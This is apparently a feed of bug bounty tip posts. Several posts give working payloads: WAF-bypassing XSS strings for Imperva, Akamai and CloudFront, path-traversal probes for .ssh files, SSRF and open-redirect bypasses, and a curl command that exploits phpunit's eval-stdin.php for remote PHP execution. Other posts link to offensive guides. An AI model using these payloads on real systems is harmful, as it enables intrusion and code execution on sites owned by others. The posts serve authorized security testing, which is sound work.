Information Security

#bugbountytip #bugbounty Directory listing bypass payloads : Any file name or folder name ..%3B/
/%20../
/.ssh/authorized_keys
/.ssh/known_hosts
/%2e%2e/google.com
..%3B/////////////////////////////////

108 views08:31

#bugbountytip The Request.queryString error in .NET avoids you to get XSS? Try the %uff1cscript%uff1ealert(‘XSS’);%uff1c/script%uff1e payload ;)

117 views10:44

Information Security

5 Subdomain Takeover #ProTips.pdf:
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/7-part-100-article/new_articles/5%20Subdomain%20Takeover%20%23ProTips.pdf
Finding the Balance Between Speed & Accuracy During an Internet-wide Port Scanning.pdf:
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/2-part-100-article/Finding%20the%20Balance%20Between%20Speed%20&%20Accuracy%20During%20an%20Internet-wide%20Port%20Scanning.pdf
Phishing With a Rogue Wi-Fi Access Point.pdf
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/7-part-100-article/new_articles/Phishing%20With%20a%20Rogue%20Wi-Fi%20Access%20Point.pdf
#bugbountytip #Hacking #OSINT #Pentest

GitHub

blaCCkHatHacEEkr/PENTESTING-BIBLE

This repository was created and developed by Ammar Amer @cry__pto Only. Updates to this repository will continue to arrive until the number of links reaches 10000 links & 10000 pdf files .L...

107 views18:26

Information Security

Deeplink issues:
https://youtu.be/wyIx0D-M2S8

Exploitation of exported activities (OOS on some programs, nevertheless an interesting watch)

https://youtu.be/ZUikTuoCP_M

#bugbountytip #bugbounty

YouTube

Android Deeplinks and how to exploit them

In this video we go over what deeplinks are and ways they can be exploited. PoC examples and example reports are also reviewed.

97 views18:57

Information Security

Recently found a RXSS in captcha response
Resolve captcha --> capture request --> change captcha response to XSS payload --> XSS trigger

#BugBounty #BugBountyTip #BugBountyTips

110 views18:58

Information Security

Bugbounty tips#3

Short IP addrs by dropping zeroes. To bypasses WAF filters for SSRF, open-redirect, whr any IP got blocked

Exmpls:
http://1.0.0.1 → http://1.1
http://192.168.0.1 → http://192.168.1

#infosec #SSRF #bugbountytip #bypass #WAF #bugbountytips #hackerone #hackers

121 views18:49

Information Security

https://twitter.com/ameenmaali/status/1244886922796740608

Twitter

Ameen

Messed around a bit more since I needed to load in a script for CSP bypass as well and somehow this bypasses Akamai <SCr%00Ipt>confirm`1`</scR%00ipt> (can load scripts with src as well) 🤔 #bugbountytips #bugbountytip

131 views19:29

Information Security

https://twitter.com/hackerscrolls/status/1247177578269597698

Twitter

Hack3rScr0lls

Three effective ways how you can use Match & Replace in Burp Proxy. Trick by @igc_iv #BugBountyTip #BurpSuite #Web

128 views19:01

Information Security

Imperva WAF Bypass for XSS;

<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];">

- without parentheses, 'alert', 'document.domain' , 'window' , space

#BugBounty #BugBountyTip #WAF #infosec

129 views12:01

Information Security

Open Redirect Bypass
?redirect=https://test.target.com > accepts any subdomain of target to redirect
?redirect=https://google.comğ.target.com > "Ğ" is a Turkish character, server can't render it and changes it to "?"
So it redirects to http://google.com/?target.com
#bugbounty #bugbountytip

221 views15:08

Information Security

#bugbountytip If you found /phpunit/ folder than you can try to execute PHP code by typing the following command:
curl --data "<?php echo(pi());" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

143 views15:42

Information Security

https://twitter.com/hackerscrolls/status/1261224450827190272

Twitter

Hack3rScr0lls

You suffer from Firefox telemetry requests in Burp, don't you? Here is the solution — use this config file for Firefox: gist.github.com/AetherEternity… It disables most of telemetry features. Trick by @AetherEternity #BugBountyTip

134 views14:14

Information Security

https://twitter.com/jdksec/status/1263041062450475008

Twitter

jdksec

CloudFront bypass: Worked on a public program today ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'> Would be interested to know if this is target specific or other CloudFront websites are vulnerable #bugbountytip…